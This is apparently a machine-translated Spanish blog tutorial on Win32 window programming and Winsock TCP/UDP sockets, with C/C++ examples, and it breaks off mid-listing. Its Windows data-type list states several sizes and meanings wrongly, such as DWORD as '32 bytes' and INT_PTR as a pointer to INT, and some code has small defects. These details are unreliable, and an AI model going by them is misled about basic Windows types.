(C/C++)Programación en Windows

Programación de Windows

1. Descripción general de la programación de Windows

1.1 ¿Qué es la programación de Windows?

  • Programación de Windows: encapsula la API de Windows en forma de clases de C++ e incluye un marco de aplicación para reducir la carga de trabajo de los desarrolladores de aplicaciones.
  • Contiene una gran cantidad de clases de encapsulación de identificadores de Windows y muchos controles integrados de Windows y clases de encapsulación de componentes. Concéntrese en la lógica del programa, en lugar de estas cosas que deben repetirse cada vez que programa, pero debido a que es un marco general, no tiene la mejor pertinencia.
  • Programación C/C++: solo genera una pequeña cantidad de lenguaje de máquina y un lenguaje de programación de alta eficiencia que puede ejecutarse sin ningún soporte de entorno operativo. Basándose en operadores muy completos y diversos tipos de datos, se pueden construir fácilmente diversas estructuras de datos. A través del tipo de puntero, se puede direccionar directamente la memoria y se puede operar directamente el hardware, por lo que se puede utilizar para desarrollar programas del sistema y también se puede utilizar. Para desarrollar software de aplicaciones.

1.2 ¿Por qué debería aprender a programar en Windows?

•Satisfacer las necesidades de desarrollo de aplicaciones de Windows
•Satisfacer las necesidades de desarrollo de subcontratación: combinación de computadora host y dispositivo integrado
•Necesidades de empleo: industria tradicional de Toutiao, industria de seguridad Sangfor 360
•Conceptos básicos de inversión/anti-plug-in

1.3 Cómo aprender a programar en Windows

•método de estudio

  • Domine la teoría (1 pensamiento y polimorfismo orientado a objetos de C ++, 2 bucles de mensajes de Windows) sistema de red de ventanas de bucle de mensajes: procesos e hilos
  • Aprende a consultar documentos
  • Agregue esta URL a favoritos: https://docs.microsoft.com/zh-cn/ (Microsoft)
  • navegador google chrome
  • Libro de texto de referencia: "Comprensión profunda de VC ++" por Sun Xin Reference
  • Libro de texto de referencia 2: Fan Wenqing "Explicación detallada de funciones, interfaces y ejemplos de programación del desarrollo de API de Windows"

Instalación del entorno de carga de trabajo.
Insertar descripción de la imagen aquí

Lista de componentes
Insertar descripción de la imagen aquí

1.4 Instalación de VA y teclas de acceso directo comunes

• tecla de acceso rápido

  • ALT+G Ir a la definición
  • ALT + SHIFT + F Buscar todas las referencias
  • ALT + Flecha izquierda/Flecha derecha: Atrás/Adelante
  • Anotación por lotes

•proyecto hola mundo

2. Conocimientos básicos de programación en Windows.

2.1 Primer programa de ventana Win32 completamente escrito a mano

•Ejemplo completo

//dos  main
// 
//目的:窗口程序
//1 掌握C++ 面向对象思想 2 理解消息机制 3 多态性
#include <windows.h>
#include <stdio.h>
LPCTSTR clsName = "My";
LPCTSTR msgName = "欢迎学习";


LRESULT CALLBACK MyWinProc(
	HWND hwnd,        // handle to window
	UINT uMsg,        // message identifier
	WPARAM wParam,    // first message parameter word
	LPARAM lParam    // second message parameter long
	);
// a 设计一个窗口类 b 注册窗口类 c创建窗口 d显示以及更新窗口 e 消息循环
	int WINAPI WinMain(
		HINSTANCE hInstance,
		HINSTANCE hPrevInstance,
		LPSTR lpCmdLine,
		int nShowCmd
	)
	{
    
    
		//a 设计一个窗口类

		// 1 定义和配置窗口对象
		WNDCLASS wndcls;
		wndcls.cbClsExtra = NULL;
		wndcls.cbWndExtra = NULL;
		wndcls.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
		wndcls.hCursor = LoadCursor(NULL, IDC_ARROW);
		wndcls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
		wndcls.hInstance = hInstance;
		//定义交互响应
		wndcls.lpfnWndProc = MyWinProc;//回调
		//定义窗口代号
		wndcls.lpszClassName = clsName;
		wndcls.lpszMenuName = NULL;
		wndcls.style = CS_HREDRAW | CS_VREDRAW;

		// b 注册窗口类
		RegisterClass(&wndcls);

		//c 创建窗口  
		HWND hwnd;
		hwnd = CreateWindow(clsName, msgName, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,
			CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL);

		//d 显示和刷新窗口
		ShowWindow(hwnd, SW_SHOWNORMAL);
		UpdateWindow(hwnd);

		//e 消息循环  GetMessage只有在接收到WM_QUIT才会返回0
		//TranslateMessage 翻译消息 WM_KEYDOWN和WM_KEYUP 合并为WM_CAHR
		MSG msg;
		while (GetMessage(&msg, NULL, NULL, NULL))
		{
    
    
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}
		return msg.wParam;
		
	}
LRESULT CALLBACK MyWinProc(
	HWND hwnd,        // handle to window
	UINT uMsg,        // message identifier
	WPARAM wParam,    // first message parameter word
	LPARAM lParam    // second message parameter long
)
{
    
    
      //uMsg 消息类型
	  int ret;
	  HDC hdc;
	  switch (uMsg)
	  {
    
    
		 case WM_CHAR: 
			 char szChar[20];
			 sprintf_s(szChar, "您刚才按下了: %c", wParam);
			 MessageBox(hwnd, szChar, "char", NULL);
			 break;

		 case WM_LBUTTONDOWN:
			 MessageBox(hwnd, "检测鼠标左键按下","msg", NULL);
			 break;

		 case WM_PAINT:
			 PAINTSTRUCT ps;
			 hdc = BeginPaint(hwnd, &ps);
			 TextOut(hdc, 0, 0, "www.baidu.com", strlen("www.baidu.com"));
			 EndPaint(hwnd, &ps);
			 MessageBox(hwnd, "重绘", "msg", NULL);
			 break;

		 case WM_CLOSE:
			 ret = MessageBox(hwnd, "是否真的结束?", "msg", MB_YESNO);
			 if (ret == IDYES)
			 {
    
    
				 DestroyWindow(hwnd);
			 }
			 break;

		 case WM_DESTROY:
			 PostQuitMessage(0);
			 break;

		 default:
			 return DefWindowProc(hwnd, uMsg, wParam, lParam);
	  }
	  return 0;
}

•Esqueleto del programa

int WinMain(){
    
    
    // 设计窗口外观及交互响应,注册,申请专利
    RegisterClass(...)
    // 生产窗口
    CreateWindow(...)
    // 展示窗口
    ShowWindow(...)
    // 粉刷窗口
    UpdateWindow(...)
    // 进入消息循环
    while (GetMessage(...)) {
    
    
         // 消息转换
        TranslateMessage(...);
        // 消息分发
        DispatchMessage(...);
    }
}

2.2 API y SDK

  • Interfaz de programación de aplicaciones Interfaz de programación de aplicaciones.
  • Kit de desarrollo de software El kit de desarrollo de software generalmente incluye documentos de interfaz API, documentos de muestra, documentos de ayuda, manuales de usuario, herramientas relacionadas, etc.

2.3 Ventana y objeto de clase manija/ventana

  • Una ventana es un área de la pantalla que recibe información del usuario y muestra el resultado del programa. Puede incluir barra de título, barra de menú, barra de herramientas, controles, etc.
    Insertar descripción de la imagen aquí
  • Objeto de clase de ventana C++ Cwnd Mywnd; m_wnd
  • Identificador (número de recurso, puntero secundario, identificador de puerta), identificador de ventana, identificador de archivo, identificador de conexión de base de datos.
  • Los objetos de clase de ventana C ++ y las ventanas no son lo mismo. La única relación entre ellos es que se define una variable de identificador de ventana dentro del objeto de clase de ventana C ++, que almacena el identificador de la ventana relacionada con este objeto de clase de ventana C ++. Cuando se destruye una ventana, la destrucción del objeto de clase de ventana C++ correspondiente depende de si su ciclo de vida ha finalizado. Pero cuando se destruye el objeto de clase de ventana de C++, la ventana relacionada con él también se destruirá.
    1. Ventana de ciclo de vida ventana de ciclo de objeto de clase
    2. m_wnd se define internamente en la clase de ventana

2.4 Bucle de mensajes

• Escena del banco
Insertar descripción de la imagen aquí

•bucle de mensajes de Windows
Insertar descripción de la imagen aquí

2.5 tipos de datos de Windows

  • Unicode es el estándar de codificación de caracteres universal del mundo. Utiliza datos de 16 bits para representar un carácter y puede representar un total de 65.535 caracteres.
  • El juego de caracteres ASNI utiliza datos de 8 bits o combina dos datos de 8 bits adyacentes para representar caracteres de idiomas especiales. Si un byte es negativo, los siguientes bytes se combinan para representar un carácter. Los juegos de caracteres con esta codificación también se denominan juegos de caracteres "multibyte".
  • DWORD datos enteros sin signo de 32 bytes
  • DWORD32 datos enteros sin signo de 32 bytes
  • DWORD64 datos enteros sin signo de 64 bytes
  • Mango de objeto HANDLE, el tipo de mango más básico
  • Mango de icono HICON
  • HINSTANCE Identificador de la instancia del programa.
  • Identificador HKEY de la clave de registro
  • Mango HMODULE para el módulo.
  • Manija de ventana HWND
  • INT Tipo de datos entero con signo de 32 bits
  • Tipo de puntero INT_PTR que apunta a datos de tipo INT
  • INT32 tipo entero con signo de 32 bits
  • INT64 tipo entero con signo de 64 bits
  • LONG32 tipo entero con signo de 32 bits
  • LONG64 tipo entero con signo de 64 bits
  • Parámetro LPARAM L del mensaje
  • Parámetro WPARAM W del mensaje
  • LPCSTR Windows, ANSI, constante de cadena
  • LPCTSTR se configura según el entorno, si se define la macro UNICODE es de tipo LPCWSTR, en caso contrario es de tipo LPCSTR.
  • Constante de cadena LPCWSTR UNICODE
  • Puntero LPDWORD a datos de tipo DWORD
  • Ventana LPSTR, ANSI, variable de cadena
  • LPTSTR se configura según el entorno, si se define UNICODE es de tipo LPWSTR, en caso contrario es de tipo LPSTR.
  • Variable de cadena LPWSTR UNICODE
  • TAMAÑO_T representa el tamaño de la memoria en bytes y su valor máximo es el rango máximo de direccionamiento de la CPU.
  • TCHAR WCHAR si se define UNICODE, CHAR en caso contrario
  • Carácter Unicode WCHAR de 16 bits

Insertar descripción de la imagen aquí

3 programación de red

3.1 Conceptos básicos de programación de redes.

3.1.1 concepto de enchufe

Insertar descripción de la imagen aquí

3.1.2 ¿Qué es el modo C/S?

Insertar descripción de la imagen aquí

3.1.3 ¿Qué son los orientados a la conexión y los orientados a mensajes?

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí

3.1.4 Dirección IP y puerto

Ganar +R
//HTTP IP TCP
Insertar descripción de la imagen aquí

3.2 Tipo de socket y configuración de protocolo


  • SOCK_STREAM [stream socket] La transmisión de datos confiable y orientada a la conexión TCP es adecuada para transmitir grandes cantidades de datos y no admite transmisión ni multidifusión.
  • SOCK_DGRAM [socket de paquetes] UDP
    sin conexión admite transmisión y multidifusión
  • SOCK_RAW [socket sin formato]
    puede leer y escribir datagramas IP que no son procesados ​​por el kernel.
  • Evitando el mecanismo de procesamiento TCP/IP, el datagrama transmitido se puede transmitir directamente a la aplicación que lo necesita
    ; consulte el archivo de encabezado winsock2.h
    ; importe la biblioteca ws2_32.lib;
    la programación de sockets en Windows primero debe inicializar Winsock

3.3 Funciones básicas y estructuras de datos básicas de la programación de redes.

Insertar descripción de la imagen aquí

Estructura de datos
struct sockaddr { u_short sa_family; //Tipo de dirección de 16 bits Char de 2 bytes sa_data[14]; //Datos de dirección de 14 bytes: ip + puerto };


struct sockaddr_in { short sin_family; //tipo de dirección de 16 bits u_short sin_port; //número de puerto de 16 bits 65535 2 a la potencia 16 struct in_addr sin_addr; //dirección IP de 32 bits 4 bytes char sin_zero[8]; // Relleno de sección de 8 palabras };




3.4 Servidor/cliente basado en TCP

3.4.1 Conector TCP

Insertar descripción de la imagen aquí

•Servidor

//简例
#include <WinSock2.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")

int main()
{
    
    
    // 加载套接字库
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    wVersionRequested = MAKEWORD(1,1);
    // 初始化套接字库
    err = WSAStartup(wVersionRequested, &wsaData);
    if (err != 0)
    {
    
    
        return err;
    }

    if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
    {
    
    
        WSACleanup();
        return -1;
    }
    // 新建套接字
    SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);

    SOCKADDR_IN addrSrv;
    addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    addrSrv.sin_family = AF_INET;
    addrSrv.sin_port = htons(6000);
    
    // 绑定套接字到本地IP地址,端口号6000
    bind(sockSrv, (SOCKADDR*)& addrSrv, sizeof(SOCKADDR));

    // 开始监听
    listen(sockSrv, 5);

    SOCKADDR_IN addrCli;
    int len = sizeof(SOCKADDR);

    while (true)
    {
    
    
        // 接收客户连接
        SOCKET sockConn = accept(sockSrv, (SOCKADDR*)& addrCli, &len);
        char sendBuf[100];
        sprintf_s(sendBuf, 100, "Welcome %s to C++!", inet_ntoa(addrCli.sin_addr));
        //发送数据
        send(sockConn, sendBuf, strlen(sendBuf) + 1, 0);
        char recvBuf[100];
        //接收数据
        recv(sockConn, recvBuf, 100, 0);
        //打印接收的数据
        std::cout << recvBuf << std::endl;
        closesocket(sockConn);
    }
    
    closesocket(sockSrv);
    WSACleanup();

    return 0;
}
#include <WinSock2.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32.lib")

int main()
{
    
    
	printf("Server\n");
	//1 初始化网络库
	 // 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
    
    
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
	// 2 安装电话机
	 // 新建套接字
	SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockSrv)
	{
    
    
		printf("socket errorNum = %d\n", GetLastError());
		return -1;
	}
	//给变量配置电话号码 IP 任何  端口6000
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);
	// 3 分配电话号码
	 // 绑定套接字到本地IP地址,端口号6000
	if (SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
    
    
		printf("bind errorNum = %d\n", GetLastError());
		return -1;
	}

	// 4、监听 listen
	if (SOCKET_ERROR == listen(sockSrv, 5))
	{
    
    
		printf("listen errorNum = %d\n", GetLastError());
		return -1;
	}

	// 5、拿起话筒,准备通话
	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR);

	while (TRUE)
	{
    
    
		//6、分配一台分机去服务
		SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli, &len);
		char sendBuf[100] = {
    
     0 };
		sprintf_s(sendBuf, 100, "Welcome %s to C++!", inet_ntoa(addrCli.sin_addr));
		//发送数据
		int iLen = send(sockConn, sendBuf, strlen(sendBuf) + 1, 0);
		if (iLen < 0)
		{
    
    
			printf("send errorNum = %d\n", GetLastError());
			return -1;
		}
		char recvBuf[100] = {
    
    0};
		//接收数据
		iLen = recv(sockConn, recvBuf, 100, 0);
		if (iLen < 0)
		{
    
    
			printf("recv errorNum = %d\n", GetLastError());
			return -1;
		}
		//打印接收的数据
		printf("recvBuf = %s\n", recvBuf);
		closesocket(sockConn);
	}
	//7 关闭总机
	closesocket(sockSrv);
	WSACleanup();
	system("pause");
	return 0;
}

•Cliente

#include <WinSock2.h>
#include <iostream>

#pragma comment(lib, "ws2_32.lib")

int main()
{
    
    
    char sendBuf[] = "hello,world";
    WORD wVersion;
    WSADATA wsaData;
    int err;

    wVersion = MAKEWORD(1, 1);
    err = WSAStartup(wVersion, &wsaData);
    if (err != 0)
    {
    
    
        return err;
    }
    if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
    {
    
    
        WSACleanup();
        return -1;
    }

    // 创建套接字
    SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);

    SOCKADDR_IN addrSrv;
    addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    addrSrv.sin_family = AF_INET;
    addrSrv.sin_port = htons(6000);

    //向服务器发起连接请求
    connect(sockCli, (SOCKADDR*)& addrSrv, sizeof(SOCKADDR));
    
    // 接收数据
    char recvBuf[100];
    recv(sockCli, recvBuf, 100, 0);
    std::cout << recvBuf << std::endl;

    // 发送数据
    send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);

    // 关闭套接字
    closesocket(sockCli);
    WSACleanup();
    
    // 暂停
    system("pause");
    return 0;
}
#include <WinSock2.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32.lib")

int main()
{
    
    
	printf("Client\n");
	char sendBuf[] = "hello,world";
	//1 初始化网络库
	 // 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
    
    
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
	// 2 安装电话机
	 // 新建套接字
	SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockCli)
	{
    
    
		printf("socket errorNum = %d\n", GetLastError());
		return -1;
	}
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = inet_addr("192.168.8.253");
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);

	// 3 连接服务器
	if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
    
    
		printf("connect errorNum = %d\n", GetLastError());
		return -1;
	}
	// 4 接收和发送数据
	char recvBuf[100] = {
    
    0};
	int iLen = recv(sockCli, recvBuf, 100, 0);
	if (iLen < 0)
	{
    
    
		printf("recv errorNum = %d\n", GetLastError());
		return -1;
	}
	printf("Client recvBuf = %s\n", recvBuf);

	// 发送数据
	iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);
	if (iLen < 0)
	{
    
    
		printf("send errorNum = %d\n", GetLastError());
		return -1;
	}
	// 关闭套接字
	closesocket(sockCli);
	WSACleanup();
	system("pause");
	return 0;
}

3.4.2 Conector UDP

Conector UDP
Insertar descripción de la imagen aquí

•Servidor

#include <WinSock2.h>
#include <iostream>

#pragma comment(lib, "ws2_32.lib")
int main()
{
    
    
    // 初始化套接字库
    WORD wVersion;
    WSADATA wsaData;
    int err;

    wVersion = MAKEWORD(1, 1);
    err = WSAStartup(wVersion, &wsaData);
    if (err != 0)
    {
    
    
        return err;
    }

    if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
    {
    
    
        WSACleanup();
        return -1;
    }

    // 创建套接字
    SOCKET sockSrv = socket(AF_INET, SOCK_DGRAM, 0);

    SOCKADDR_IN addrSrv;
    addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    addrSrv.sin_family = AF_INET;
    addrSrv.sin_port = htons(6001);

    // 绑定套接字
    bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR));

    // 等待并接收数据
    SOCKADDR_IN addrCli;
    int len = sizeof(SOCKADDR_IN);

    char recvBuf[100];
    char sendBuf[100];
    while (true)
    {
    
    
        recvfrom(sockSrv, recvBuf, 100, 0, (SOCKADDR*)&addrCli, &len);
        std::cout << recvBuf << std::endl;

        sprintf_s(sendBuf, 100, "Ack %s", recvBuf);
        sendto(sockSrv, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)&addrCli, len);
    }

    closesocket(sockSrv);
    WSACleanup();

    system("pause");
    return 0;
}

•Cliente

#include <WinSock2.h>
#include <iostream>

#pragma comment(lib, "ws2_32.lib")
int main()
{
    
    
    // 加载套接字库

    WORD wVersion;
    WSADATA wsaData;
    int err;
    wVersion = MAKEWORD(1, 1);
    err = WSAStartup(wVersion, &wsaData);
    if (err != 0)
    {
    
    
        return err;
    }
    if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
    {
    
    
        WSACleanup();
        return -1;
    }

    // 创建套接字
    SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);
    SOCKADDR_IN addrSrv;
    addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    addrSrv.sin_port = htons(6001);
    addrSrv.sin_family = AF_INET;

    int len = sizeof(SOCKADDR);
    char sendBuf[] = "hello";
    char recvBuf[100];

    //发送数据
    sendto(sockCli, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)& addrSrv, len);

    recvfrom(sockCli, recvBuf, 100, 0, (SOCKADDR*)& addrSrv, &len);

    std::cout << recvBuf << std::endl;

    closesocket(sockCli);

    system("pause");
    return 0;
}

3.4.3 Resumen sobre TCP y UDP

Insertar descripción de la imagen aquí

4 Programación de red avanzada

4.1 El significado específico de escuchar

Monitoreo 5 indica el número máximo de clientes que se pueden monitorear al mismo tiempo

include <WinSock2.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32.lib")

int main()
{
    
    
	printf("Server\n");
	//1 初始化网络库
	 // 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
    
    
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
	// 2 安装电话机
	 // 新建套接字
	SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockSrv)
	{
    
    
		printf("socket errorNum = %d\n", GetLastError());
		return -1;
	}
	//给变量配置电话号码 IP 任何  端口6000
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);
	// 3 分配电话号码
	 // 绑定套接字到本地IP地址,端口号6000
	if (SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
    
    
		printf("bind errorNum = %d\n", GetLastError());
		return -1;
	}

	// 4、监听 listen  最大的监听数目 ,执行到listen,单尚未执行到accept
	if (SOCKET_ERROR == listen(sockSrv, 5))
	{
    
    
		printf("listen errorNum = %d\n", GetLastError());
		return -1;
	}
	Sleep(20000);
	// 5、拿起话筒,准备通话
	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR);
	printf("20 s\n");
	while (TRUE)
	{
    
    
		//6、分配一台分机去服务
		SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli, &len);
		char sendBuf[100] = {
    
     0 };
		sprintf_s(sendBuf, 100, "Welcome %s to C++!", inet_ntoa(addrCli.sin_addr));
		//发送数据
		int iLen = send(sockConn, sendBuf, strlen(sendBuf) + 1, 0);
		if (iLen < 0)
		{
    
    
			printf("send errorNum = %d\n", GetLastError());
			return -1;
		}
		char recvBuf[100] = {
    
    0};
		//接收数据
		iLen = recv(sockConn, recvBuf, 100, 0);
		if (iLen < 0)
		{
    
    
			printf("recv errorNum = %d\n", GetLastError());
			return -1;
		}
		//打印接收的数据
		printf("recvBuf = %s\n", recvBuf);
		closesocket(sockConn);
	}
	//7 关闭总机
	closesocket(sockSrv);
	WSACleanup();
	system("pause");
	return 0;
}

4.2 Un recv y send más elegante: transmisión de datos muy grandes

int MySocketRecv0(int sock, char* buf, int dateSize)
{
    
    
	//循环接收
	int numsRecvSoFar = 0;
	int numsRemainingToRecv = dateSize;
	printf("enter MySocketRecv0\n");
	while (1)
	{
    
    
		int bytesRead = recv(sock, &buf[numsRecvSoFar], numsRemainingToRecv, 0);
		printf("###bytesRead = %d,numsRecvSoFar = %d, numsRemainingToRecv = %d\n",
			bytesRead, numsRecvSoFar, numsRemainingToRecv);
		if (bytesRead == numsRemainingToRecv)
		{
    
    
			return 0;
		}
		else if (bytesRead > 0)
		{
    
    
			numsRecvSoFar += bytesRead;
			numsRemainingToRecv -= bytesRead;
			continue;
		}
		else if ((bytesRead < 0) && (errno == EAGAIN))
		{
    
    
			continue;
		}
		else
		{
    
    
			return -1;
		}
	}
}

int MySocketSend0(int socketNum, unsigned char* data, unsigned dataSize)
{
    
    
	unsigned numBytesSentSoFar = 0;
	unsigned numBytesRemainingToSend = dataSize;

	while(1)
	{
    
    
		int bytesSend = send(socketNum, (char const*)(&data[numBytesSentSoFar]), numBytesRemainingToSend, 0/*flags*/);
		if(bytesSend == numBytesRemainingToSend)
		{
    
    
			return 0;
		}
		else if(bytesSend > 0)
		{
    
    
			numBytesSentSoFar += bytesSend;
			numBytesRemainingToSend -= bytesSend;
			continue;
		}
		else if((bytesSend < 0)&&(errno == 11))
		{
    
    
			continue;
		}
		else
		{
    
    
			return -1;
		}
	}
}

Código del servidor:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

#define BUF_SIZE 1024*1024
void error_handling(char *message);

int main(int argc, char *argv[])
{
    
    
	int serv_sock, clnt_sock;
	char message[BUF_SIZE];
	int str_len, i;
	
	struct sockaddr_in serv_adr;
	struct sockaddr_in clnt_adr;
	socklen_t clnt_adr_sz;
	
	if(argc!=2) {
    
    
		printf("Usage : %s <port>\n", argv[0]);
		exit(1);
	}
	//安装电话机
	serv_sock=socket(PF_INET, SOCK_STREAM, 0);   
	if(serv_sock==-1)
		error_handling("socket() error");
	
	memset(&serv_adr, 0, sizeof(serv_adr));
	serv_adr.sin_family=AF_INET;
	serv_adr.sin_addr.s_addr=htonl(INADDR_ANY);
	serv_adr.sin_port=htons(atoi(argv[1]));
	printf("bingdu fuwuqi \n");
	//分配电话号
	if(bind(serv_sock, (struct sockaddr*)&serv_adr, sizeof(serv_adr))==-1)
		error_handling("bind() error");
	//开始监听
	if(listen(serv_sock, 5)==-1)
		error_handling("listen() error");
	
	clnt_adr_sz=sizeof(clnt_adr);

	for(i=0; i<1000; i++)
	{
    
    
		clnt_sock=accept(serv_sock, (struct sockaddr*)&clnt_adr, &clnt_adr_sz);
		if(clnt_sock==-1)
			error_handling("accept() error");
		else
			printf("Connected client %d \n", i+1);
	
		while((str_len=read(clnt_sock, message, BUF_SIZE))!=0)
		{
    
    
			write(clnt_sock, message, str_len);
			printf("str_len = %d\n",str_len);
		}

		close(clnt_sock);
	}

	close(serv_sock);
	return 0;
}

void error_handling(char *message)
{
    
    
	fputs(message, stderr);
	fputc('\n', stderr);
	exit(1);
}

Cliente:

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <time.h>
#include <string>

#pragma comment(lib,"ws2_32.lib")

void ErrorHandling(char* message);

#define MAX_ARRAYSIZE (1024*1024*10)
char message[MAX_ARRAYSIZE];

int MySocketRecv0(int sock, char* buf, int dateSize)
{
    
    
	//循环接收
	int numsRecvSoFar = 0;
	int numsRemainingToRecv = dateSize;
	printf("enter MySocketRecv0\n");
	while (1)
	{
    
    
		int bytesRead = recv(sock, &buf[numsRecvSoFar], numsRemainingToRecv, 0);
		printf("###bytesRead = %d,numsRecvSoFar = %d, numsRemainingToRecv = %d\n",
			bytesRead, numsRecvSoFar, numsRemainingToRecv);
		if (bytesRead == numsRemainingToRecv)
		{
    
    
			return 0;
		}
		else if (bytesRead > 0)
		{
    
    
			numsRecvSoFar += bytesRead;
			numsRemainingToRecv -= bytesRead;
			continue;
		}
		else if ((bytesRead < 0) && (errno == EAGAIN))
		{
    
    
			continue;
		}
		else
		{
    
    
			return -1;
		}
	}
}

int getCurrentTimeStr(char* strtime)
{
    
    
	// 基于当前系统的当前日期/时间
	time_t now = time(NULL);
	tm* ltm = localtime(&now);
	sprintf(strtime, "%2d:%2d:%2d ", ltm->tm_hour, ltm->tm_min, ltm->tm_sec);
	return 0;
}

void initArray(char c)
{
    
    
	int i = 0;
	for (i = 0;i < MAX_ARRAYSIZE; i++)
	{
    
    
		message[i] = c;
	}
}

int ClientConnect()
{
    
    
	WSADATA wsaData;
	SOCKET hSocket;
	SOCKADDR_IN servAddr;

	int strLen;
	char ch[64] = {
    
     0 };
	initArray('c');

	printf("client \n");
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
		ErrorHandling("WSAStartup() error!");

	hSocket = socket(PF_INET, SOCK_STREAM, 0);//AF_ISO
	if (hSocket == INVALID_SOCKET)
		ErrorHandling("socket() error");
	getCurrentTimeStr(ch);
	printf("begin connect %s\n", ch);
	memset(&servAddr, 0, sizeof(servAddr));
	servAddr.sin_family = AF_INET;
	servAddr.sin_addr.s_addr = inet_addr("111.231.75.168");//"111.231.75.168"
	servAddr.sin_port = htons(9527); //

	if (connect(hSocket, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR)
	{
    
    
		ErrorHandling("connect() error!");
	}

	getCurrentTimeStr(ch);
	printf("after connect %s\n", ch);

	strLen = send(hSocket, message, sizeof(message) - 1, 0);
	printf("after send %d\n", strLen);
	int ret = MySocketRecv0(hSocket, message, sizeof(message) - 1);
	printf("Message from server: ,ret = %d\n", ret);
	if (strLen == -1)
		ErrorHandling("read() error!");
// 	strLen = recv(hSocket, message, sizeof(message) - 1, 0);
// 	printf("Message from server: ,strLen = %d\n", strLen);
	getCurrentTimeStr(ch);
	printf("after recv %s\n", ch);
	//printf("Message from server: %s ,strLen = %d\n", message ,strLen);  
	//printf("Message from server: ,strLen = %d\n", strLen);
	closesocket(hSocket);
	WSACleanup();
	//	system("pause");
	return 0;
}
//basic
#if 0
int main()
{
    
    
	// 1、初始化网络库
	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
		ErrorHandling("WSAStartup() error!");
	SOCKET hSocket;
	SOCKADDR_IN servAddr;
	char message[30] = "hello,C++";
	int strLen;
	printf("client\n");
	//2 安装一部电话机
	hSocket = socket(PF_INET, SOCK_STREAM, 0);
	if (hSocket == INVALID_SOCKET)
		ErrorHandling("socket() error");

	memset(&servAddr, 0, sizeof(servAddr));
